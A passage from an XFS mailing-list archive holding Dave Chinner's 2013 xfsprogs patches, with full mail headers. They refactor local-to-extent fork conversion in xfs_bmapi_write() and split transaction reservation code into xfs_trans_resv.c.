changes */ + xfs_lsn_t di_lsn; /* flush sequence */ + __uint64_t di_flags2; /* more random flags */ + __uint8_t di_pad2[16]; /* more padding for future expansion */ + + /* fields only written to during inode creation */ + xfs_ictimestamp_t di_crtime; /* time created */ + xfs_ino_t di_ino; /* inode number */ + uuid_t di_uuid; /* UUID of the filesystem */ + + /* structure must be padded to 64 bit alignment */ +} xfs_icdinode_t; + +static inline uint xfs_icdinode_size(int version) +{ + if (version == 3) + return sizeof(struct xfs_icdinode); + return offsetof(struct xfs_icdinode, di_next_unlinked); +} #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_types.h b/include/xfs_types.h index dd6bf71..543fdf0 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -147,6 +147,12 @@ typedef __uint64_t xfs_filblks_t; /* number of blocks in a file */ #define XFS_MAX_SECTORSIZE (1 << XFS_MAX_SECTORSIZE_LOG) /* + * Inode fork identifiers. + */ +#define XFS_DATA_FORK 0 +#define XFS_ATTR_FORK 1 + +/* * Min numbers of data/attr fork btree root pointers. */ #define MINDBTPTRS 3 diff --git a/libxfs/trans.c b/libxfs/trans.c index 97220e7..645952c 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -226,7 +226,7 @@ libxfs_trans_inode_alloc_buf( * to be logged when the transaction is committed. The inode must * already be associated with the given transaction. * - * The values for fieldmask are defined in xfs_inode_item.h. We always + * The values for fieldmask are defined in xfs_log_format.h. We always * log all of the core inode if any of it has changed, and we always log * all of the inline data/extents/b-tree root if any of them has changed. */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 64C3D8053 for ; Fri, 19 Jul 2013 01:45:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 540E5304039 for ; Thu, 18 Jul 2013 23:45:57 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed669000e-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id pftLqSYzYe3WPjyv for ; Thu, 18 Jul 2013 23:45:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApocAMLf6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEgRUXdIIkAQEFJy8zCBgYGTkDGxmID7YjjnKBLoNyA5kGiHmHK4MkKoEsJA Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IS-RH for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002KA-QD for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 14/49] xfs: remove local fork format handling from xfs_bmapi_write() Date: Fri, 19 Jul 2013 16:44:49 +1000 X-ASG-Orig-Subj: [PATCH 14/49] xfs: remove local fork format handling from xfs_bmapi_write() Message-Id: <1374216324-8781-15-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216354 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The conversion from local format to extent format requires interpretation of the data in the fork being converted, so it cannot be done in a generic way. It is up to the caller to convert the fork format to extent format before calling into xfs_bmapi_write() so format conversion can be done correctly. The code in xfs_bmapi_write() to convert the format is used implicitly by the attribute and directory code, but they specifically zero the fork size so that the conversion does not do any allocation or manipulation. Move this conversion into the shortform to leaf functions for the dir/attr code so the conversions are explicitly controlled by all callers. Now we can remove the conversion code in xfs_bmapi_write. Signed-off-by: Dave Chinner --- include/xfs_bmap.h | 1 + libxfs/xfs_attr_leaf.c | 2 + libxfs/xfs_bmap.c | 197 ++++++++++++++++++++---------------------------- libxfs/xfs_dir2_block.c | 19 +++-- 4 files changed, 97 insertions(+), 122 deletions(-) diff --git a/include/xfs_bmap.h b/include/xfs_bmap.h index de451a2..ffa67b1 100644 --- a/include/xfs_bmap.h +++ b/include/xfs_bmap.h @@ -169,6 +169,7 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, #endif int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); +void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); void xfs_bmap_add_free(xfs_fsblock_t bno, xfs_filblks_t len, struct xfs_bmap_free *flist, struct xfs_mount *mp); void xfs_bmap_cancel(struct xfs_bmap_free *flist); diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index 49a1764..c09b0f3 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -654,6 +654,8 @@ xfs_attr_shortform_to_leaf(xfs_da_args_t *args) sf = (xfs_attr_shortform_t *)tmpbuffer; xfs_idata_realloc(dp, -size, XFS_ATTR_FORK); + xfs_bmap_local_to_extents_empty(dp, XFS_ATTR_FORK); + bp = NULL; error = xfs_da_grow_inode(args, &blkno); if (error) { diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index b7f798b..5234674 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -1042,6 +1042,24 @@ xfs_bmap_extents_to_btree( * since the file data needs to get logged so things will stay consistent. * (The bmap-level manipulations are ok, though). */ +void +xfs_bmap_local_to_extents_empty( + struct xfs_inode *ip, + int whichfork) +{ + struct xfs_ifork *ifp = XFS_IFORK_PTR(ip, whichfork); + + ASSERT(XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL); + ASSERT(ifp->if_bytes == 0); + ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) == 0); + + xfs_bmap_forkoff_reset(ip->i_mount, ip, whichfork); + ifp->if_flags &= ~XFS_IFINLINE; + ifp->if_flags |= XFS_IFEXTENTS; + XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); +} + + STATIC int /* error */ xfs_bmap_local_to_extents( xfs_trans_t *tp, /* transaction pointer */ @@ -1055,9 +1073,12 @@ xfs_bmap_local_to_extents( struct xfs_inode *ip, struct xfs_ifork *ifp)) { - int error; /* error return value */ + int error = 0; int flags; /* logging flags returned */ xfs_ifork_t *ifp; /* inode fork pointer */ + xfs_alloc_arg_t args; /* allocation arguments */ + xfs_buf_t *bp; /* buffer for extent block */ + xfs_bmbt_rec_host_t *ep; /* extent record pointer */ /* * We don't want to deal with the case of keeping inode data inline yet. @@ -1066,68 +1087,65 @@ xfs_bmap_local_to_extents( ASSERT(!(S_ISREG(ip->i_d.di_mode) && whichfork == XFS_DATA_FORK)); ifp = XFS_IFORK_PTR(ip, whichfork); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL); + + if (!ifp->if_bytes) { + xfs_bmap_local_to_extents_empty(ip, whichfork); + flags = XFS_ILOG_CORE; + goto done; + } + flags = 0; error = 0; - if (ifp->if_bytes) { - xfs_alloc_arg_t args; /* allocation arguments */ - xfs_buf_t *bp; /* buffer for extent block */ - xfs_bmbt_rec_host_t *ep;/* extent record pointer */ - - ASSERT((ifp->if_flags & - (XFS_IFINLINE|XFS_IFEXTENTS|XFS_IFEXTIREC)) == XFS_IFINLINE); - memset(&args, 0, sizeof(args)); - args.tp = tp; - args.mp = ip->i_mount; - args.firstblock = *firstblock; - /* - * Allocate a block. We know we need only one, since the - * file currently fits in an inode. - */ - if (*firstblock == NULLFSBLOCK) { - args.fsbno = XFS_INO_TO_FSB(args.mp, ip->i_ino); - args.type = XFS_ALLOCTYPE_START_BNO; - } else { - args.fsbno = *firstblock; - args.type = XFS_ALLOCTYPE_NEAR_BNO; - } - args.total = total; - args.minlen = args.maxlen = args.prod = 1; - error = xfs_alloc_vextent(&args); - if (error) - goto done; - - /* Can't fail, the space was reserved. */ - ASSERT(args.fsbno != NULLFSBLOCK); - ASSERT(args.len == 1); - *firstblock = args.fsbno; - bp = xfs_btree_get_bufl(args.mp, tp, args.fsbno, 0); - - /* initialise the block and copy the data */ - init_fn(tp, bp, ip, ifp); - - /* account for the change in fork size and log everything */ - xfs_trans_log_buf(tp, bp, 0, ifp->if_bytes - 1); - xfs_bmap_forkoff_reset(args.mp, ip, whichfork); - xfs_idata_realloc(ip, -ifp->if_bytes, whichfork); - xfs_iext_add(ifp, 0, 1); - ep = xfs_iext_get_ext(ifp, 0); - xfs_bmbt_set_allf(ep, 0, args.fsbno, 1, XFS_EXT_NORM); - trace_xfs_bmap_post_update(ip, 0, - whichfork == XFS_ATTR_FORK ? BMAP_ATTRFORK : 0, - _THIS_IP_); - XFS_IFORK_NEXT_SET(ip, whichfork, 1); - ip->i_d.di_nblocks = 1; - xfs_trans_mod_dquot_byino(tp, ip, - XFS_TRANS_DQ_BCOUNT, 1L); - flags |= xfs_ilog_fext(whichfork); + ASSERT((ifp->if_flags & (XFS_IFINLINE|XFS_IFEXTENTS|XFS_IFEXTIREC)) == + XFS_IFINLINE); + memset(&args, 0, sizeof(args)); + args.tp = tp; + args.mp = ip->i_mount; + args.firstblock = *firstblock; + /* + * Allocate a block. We know we need only one, since the + * file currently fits in an inode. + */ + if (*firstblock == NULLFSBLOCK) { + args.fsbno = XFS_INO_TO_FSB(args.mp, ip->i_ino); + args.type = XFS_ALLOCTYPE_START_BNO; } else { - ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) == 0); - xfs_bmap_forkoff_reset(ip->i_mount, ip, whichfork); + args.fsbno = *firstblock; + args.type = XFS_ALLOCTYPE_NEAR_BNO; } - ifp->if_flags &= ~XFS_IFINLINE; - ifp->if_flags |= XFS_IFEXTENTS; - XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); + args.total = total; + args.minlen = args.maxlen = args.prod = 1; + error = xfs_alloc_vextent(&args); + if (error) + goto done; + + /* Can't fail, the space was reserved. */ + ASSERT(args.fsbno != NULLFSBLOCK); + ASSERT(args.len == 1); + *firstblock = args.fsbno; + bp = xfs_btree_get_bufl(args.mp, tp, args.fsbno, 0); + + /* initialise the block and copy the data */ + init_fn(tp, bp, ip, ifp); + + /* account for the change in fork size and log everything */ + xfs_trans_log_buf(tp, bp, 0, ifp->if_bytes - 1); + xfs_idata_realloc(ip, -ifp->if_bytes, whichfork); + xfs_bmap_local_to_extents_empty(ip, whichfork); flags |= XFS_ILOG_CORE; + + xfs_iext_add(ifp, 0, 1); + ep = xfs_iext_get_ext(ifp, 0); + xfs_bmbt_set_allf(ep, 0, args.fsbno, 1, XFS_EXT_NORM); + trace_xfs_bmap_post_update(ip, 0, + whichfork == XFS_ATTR_FORK ? BMAP_ATTRFORK : 0, + _THIS_IP_); + XFS_IFORK_NEXT_SET(ip, whichfork, 1); + ip->i_d.di_nblocks = 1; + xfs_trans_mod_dquot_byino(tp, ip, + XFS_TRANS_DQ_BCOUNT, 1L); + flags |= xfs_ilog_fext(whichfork); + done: *logflagsp = flags; return error; @@ -1203,23 +1221,6 @@ xfs_bmap_add_attrfork_extents( return error; } -/* - * Block initialisation functions for local to extent format conversion. - * As these get more complex, they will be moved to the relevant files, - * but for now they are too simple to worry about. - */ -STATIC void -xfs_bmap_local_to_extents_init_fn( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - bp->b_ops = &xfs_bmbt_buf_ops; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_BTREE_BUF); -} - STATIC void xfs_symlink_local_to_remote( struct xfs_trans *tp, @@ -1272,9 +1273,9 @@ xfs_bmap_add_attrfork_local( flags, XFS_DATA_FORK, xfs_symlink_local_to_remote); - return xfs_bmap_local_to_extents(tp, ip, firstblock, 1, flags, - XFS_DATA_FORK, - xfs_bmap_local_to_extents_init_fn); + /* should only be called for types that support local format data */ + ASSERT(0); + return EFSCORRUPTED; } /* @@ -4653,20 +4654,19 @@ xfs_bmapi_write( orig_mval = mval; orig_nmap = *nmap; #endif + whichfork = (flags & XFS_BMAPI_ATTRFORK) ? + XFS_ATTR_FORK : XFS_DATA_FORK; ASSERT(*nmap >= 1); ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); ASSERT(!(flags & XFS_BMAPI_IGSTATE)); ASSERT(tp != NULL); ASSERT(len > 0); - - whichfork = (flags & XFS_BMAPI_ATTRFORK) ? - XFS_ATTR_FORK : XFS_DATA_FORK; + ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && - XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE && - XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL), + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { XFS_ERROR_REPORT("xfs_bmapi_write", XFS_ERRLEVEL_LOW, mp); return XFS_ERROR(EFSCORRUPTED); @@ -4679,37 +4679,6 @@ xfs_bmapi_write( XFS_STATS_INC(xs_blk_mapw); - if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { - /* - * XXX (dgc): This assumes we are only called for inodes that - * contain content neutral data in local format. Anything that - * contains caller-specific data in local format that needs - * transformation to move to a block format needs to do the - * conversion to extent format itself. - * - * Directory data forks and attribute forks handle this - * themselves, but with the addition of metadata verifiers every - * data fork in local format now contains caller specific data - * and as such conversion through this function is likely to be - * broken. - * - * The only likely user of this branch is for remote symlinks, - * but we cannot overwrite the data fork contents of the symlink - * (EEXIST occurs higher up the stack) and so it will never go - * from local format to extent format here. Hence I don't think - * this branch is ever executed intentionally and we should - * consider removing it and asserting that xfs_bmapi_write() - * cannot be called directly on local format forks. i.e. callers - * are completely responsible for local to extent format - * conversion, not xfs_bmapi_write(). - */ - error = xfs_bmap_local_to_extents(tp, ip, firstblock, total, - &bma.logflags, whichfork, - xfs_bmap_local_to_extents_init_fn); - if (error) - goto error0; - } - if (*firstblock == NULLFSBLOCK) { if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_BTREE) bma.minleft = be16_to_cpu(ifp->if_broot->bb_level) + 1; diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index dc69394..d94b9b2 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -1051,13 +1051,15 @@ xfs_dir2_sf_to_block( __be16 *tagp; /* end of data entry */ xfs_trans_t *tp; /* transaction pointer */ struct xfs_name name; + struct xfs_ifork *ifp; trace_xfs_dir2_sf_to_block(args); dp = args->dp; tp = args->trans; mp = dp->i_mount; - ASSERT(dp->i_df.if_flags & XFS_IFINLINE); + ifp = XFS_IFORK_PTR(dp, XFS_DATA_FORK); + ASSERT(ifp->if_flags & XFS_IFINLINE); /* * Bomb out if the shortform directory is way too short. */ @@ -1066,22 +1068,23 @@ xfs_dir2_sf_to_block( return XFS_ERROR(EIO); } - oldsfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; + oldsfp = (xfs_dir2_sf_hdr_t *)ifp->if_u1.if_data; - ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); - ASSERT(dp->i_df.if_u1.if_data != NULL); + ASSERT(ifp->if_bytes == dp->i_d.di_size); + ASSERT(ifp->if_u1.if_data != NULL); ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(oldsfp->i8count)); + ASSERT(dp->i_d.di_nextents == 0); /* * Copy the directory into a temporary buffer. * Then pitch the incore inode data so we can make extents. */ - sfp = kmem_alloc(dp->i_df.if_bytes, KM_SLEEP); - memcpy(sfp, oldsfp, dp->i_df.if_bytes); + sfp = kmem_alloc(ifp->if_bytes, KM_SLEEP); + memcpy(sfp, oldsfp, ifp->if_bytes); - xfs_idata_realloc(dp, -dp->i_df.if_bytes, XFS_DATA_FORK); + xfs_idata_realloc(dp, -ifp->if_bytes, XFS_DATA_FORK); + xfs_bmap_local_to_extents_empty(dp, XFS_DATA_FORK); dp->i_d.di_size = 0; - xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); /* * Add block 0 to the inode. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 407E580AF for ; Fri, 19 Jul 2013 01:45:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 30FE88F8033 for ; Thu, 18 Jul 2013 23:45:58 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540010-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id DiBiz91LQ1w9W2bU for ; Thu, 18 Jul 2013 23:45:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABUBoMGwUYEgRUXdIIkAQEFGgEMLzMIGBgZOQMbGYgPtiOOXwoJgS6DcgOUBo15hyuDJCqBLAEfBA Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:44 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004It-2B for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002L4-13 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 25/49] libxfs: introduce xfs_trans_resv.c Date: Fri, 19 Jul 2013 16:45:00 +1000 X-ASG-Orig-Subj: [PATCH 25/49] libxfs: introduce xfs_trans_resv.c Message-Id: <1374216324-8781-26-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216353 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The log space reservation calculation code has been separated from the core transaction code in kernelspace. THi smeans we can add it here in preparation for removing xfs_trans.c to further reduce the differences between kernel and usrspace files. Signed-off-by: Dave Chinner --- include/Makefile | 6 +- include/libxfs.h | 20 +- include/xfs_mount.h | 33 +-- include/xfs_trans.h | 75 +----- include/xfs_trans_resv.h | 137 ++++++++++ libxfs/Makefile | 7 +- libxfs/xfs.h | 2 + libxfs/xfs_trans.c | 576 +--------------------------------------- libxfs/xfs_trans_resv.c | 677 +++++++++++++++++++++++++++++++++++++++++++++++ mkfs/maxtrres.c | 8 +- 10 files changed, 852 insertions(+), 689 deletions(-) create mode 100644 include/xfs_trans_resv.h create mode 100644 libxfs/xfs_trans_resv.c diff --git a/include/Makefile b/include/Makefile index 11f13dd..3d1ba0a 100644 --- a/include/Makefile +++ b/include/Makefile @@ -39,7 +39,11 @@ QAHFILES = libxfs.h libxlog.h \ xfs_quota_defs.h \ xfs_sb.h \ xfs_symlink.h \ - xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h + xfs_trace.h \ + xfs_trans.h \ + xfs_trans_resv.h \ + xfs_trans_space.h \ + xfs_dfrag.h HFILES = handle.h jdm.h xqm.h xfs.h xfs_fs.h xfs_types.h HFILES += $(PKG_PLATFORM).h diff --git a/include/libxfs.h b/include/libxfs.h index 81495c3..181fe3c 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -40,6 +40,7 @@ #include #include #include +#include #include #include @@ -204,7 +205,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_litino; /* size of inode union area */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ - xfs_trans_reservations_t m_reservations;/* precomputed res values */ + struct xfs_trans_resv m_reservations; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ int m_dalign; /* stripe unit */ int m_swidth; /* stripe width */ @@ -408,7 +409,6 @@ extern int libxfs_ihash_size; extern void libxfs_iomove (xfs_buf_t *, uint, int, void *, int); - /* * Transaction interface */ @@ -445,6 +445,19 @@ typedef struct xfs_buf_log_item { #include +typedef struct xfs_dq_logitem { + xfs_log_item_t qli_item; /* common portion */ + struct xfs_dquot *qli_dquot; /* dquot ptr */ + xfs_lsn_t qli_flush_lsn; /* lsn at last flush */ + xfs_dq_logformat_t qli_format; /* logged structure */ +} xfs_dq_logitem_t; + +typedef struct xfs_qoff_logitem { + xfs_log_item_t qql_item; /* common portion */ + struct xfs_qoff_logitem *qql_start_lip; /* qoff-start logitem, if any */ + xfs_qoff_logformat_t qql_format; /* logged structure */ +} xfs_qoff_logitem_t; + typedef struct xfs_trans { unsigned int t_type; /* transaction type */ unsigned int t_log_res; /* amt of log space resvd */ @@ -700,6 +713,9 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_symlink_blocks xfs_symlink_blocks #define libxfs_symlink_hdr_ok xfs_symlink_hdr_ok +/* xfs_trans_resv.h */ +#define libxfs_trans_resv_calc xfs_trans_resv_calc + /* xfs_rtalloc.c */ int libxfs_rtfree_extent(struct xfs_trans *, xfs_rtblock_t, xfs_extlen_t); diff --git a/include/xfs_mount.h b/include/xfs_mount.h index 68c02a9..5410e9f 100644 --- a/include/xfs_mount.h +++ b/include/xfs_mount.h @@ -18,37 +18,6 @@ #ifndef __XFS_MOUNT_H__ #define __XFS_MOUNT_H__ -typedef struct xfs_trans_reservations { - uint tr_write; /* extent alloc trans */ - uint tr_itruncate; /* truncate trans */ - uint tr_rename; /* rename trans */ - uint tr_link; /* link trans */ - uint tr_remove; /* unlink trans */ - uint tr_symlink; /* symlink trans */ - uint tr_create; /* create trans */ - uint tr_mkdir; /* mkdir trans */ - uint tr_ifree; /* inode free trans */ - uint tr_ichange; /* inode update trans */ - uint tr_growdata; /* fs data section grow trans */ - uint tr_swrite; /* sync write inode trans */ - uint tr_addafork; /* cvt inode to attributed trans */ - uint tr_writeid; /* write setuid/setgid file */ - uint tr_attrinval; /* attr fork buffer invalidation */ - uint tr_attrsetm; /* set/create an attribute at mount time */ - uint tr_attrsetrt; /* set/create an attribute at runtime */ - uint tr_attrrm; /* remove an attribute */ - uint tr_clearagi; /* clear bad agi unlinked ino bucket */ - uint tr_growrtalloc; /* grow realtime allocations */ - uint tr_growrtzero; /* grow realtime zeroing */ - uint tr_growrtfree; /* grow realtime freeing */ - uint tr_qm_sbchange; /* change quota flags */ - uint tr_qm_setqlim; /* adjust quota limits */ - uint tr_qm_dqalloc; /* allocate quota on disk */ - uint tr_qm_quotaoff; /* turn quota off */ - uint tr_qm_equotaoff;/* end of turn quota off */ - uint tr_sb; /* modify superblock */ -} xfs_trans_reservations_t; - #ifndef __KERNEL__ #define xfs_daddr_to_agno(mp,d) \ @@ -174,7 +143,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ uint m_qflags; /* quota status flags */ - xfs_trans_reservations_t m_reservations;/* precomputed res values */ + struct xfs_trans_resv m_reservations; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ __uint64_t m_resblks; /* total reserved blocks */ __uint64_t m_resblks_avail;/* available reserved blocks */ diff --git a/include/xfs_trans.h b/include/xfs_trans.h index f92c2de..e504103 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -20,6 +20,8 @@ struct xfs_log_item; +#include "xfs_trans_resv.h" + /* * This structure is used to track log items associated with * a transaction. It points to the log item and keeps some @@ -72,79 +74,6 @@ struct xfs_log_item_desc { #define XFS_TRANS_SB_REXTSLOG 0x00002000 /* - * Per-extent log reservation for the allocation btree changes - * involved in freeing or allocating an extent. - * 2 trees * (2 blocks/level * max depth - 1) * block size - */ -#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ - ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * XFS_AG_MAXLEVELS(mp) - 1))) -#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ - ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) - -/* - * Per-directory log reservation for any directory change. - * dir blocks: (1 btree block per level + data block + free block) * dblock size - * bmap btree: (levels + 2) * max depth * block size - * v2 directory blocks can be fragmented below the dirblksize down to the fsb - * size, so account for that in the DAENTER macros. - */ -#define XFS_DIROP_LOG_RES(mp) \ - (XFS_FSB_TO_B(mp, XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK)) + \ - (XFS_FSB_TO_B(mp, XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1))) -#define XFS_DIROP_LOG_COUNT(mp) \ - (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ - XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) - - -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -/* - * Logging the inode timestamps on an fsync -- same as SWRITE - * as long as SWRITE logs the entire inode core - */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) -#define 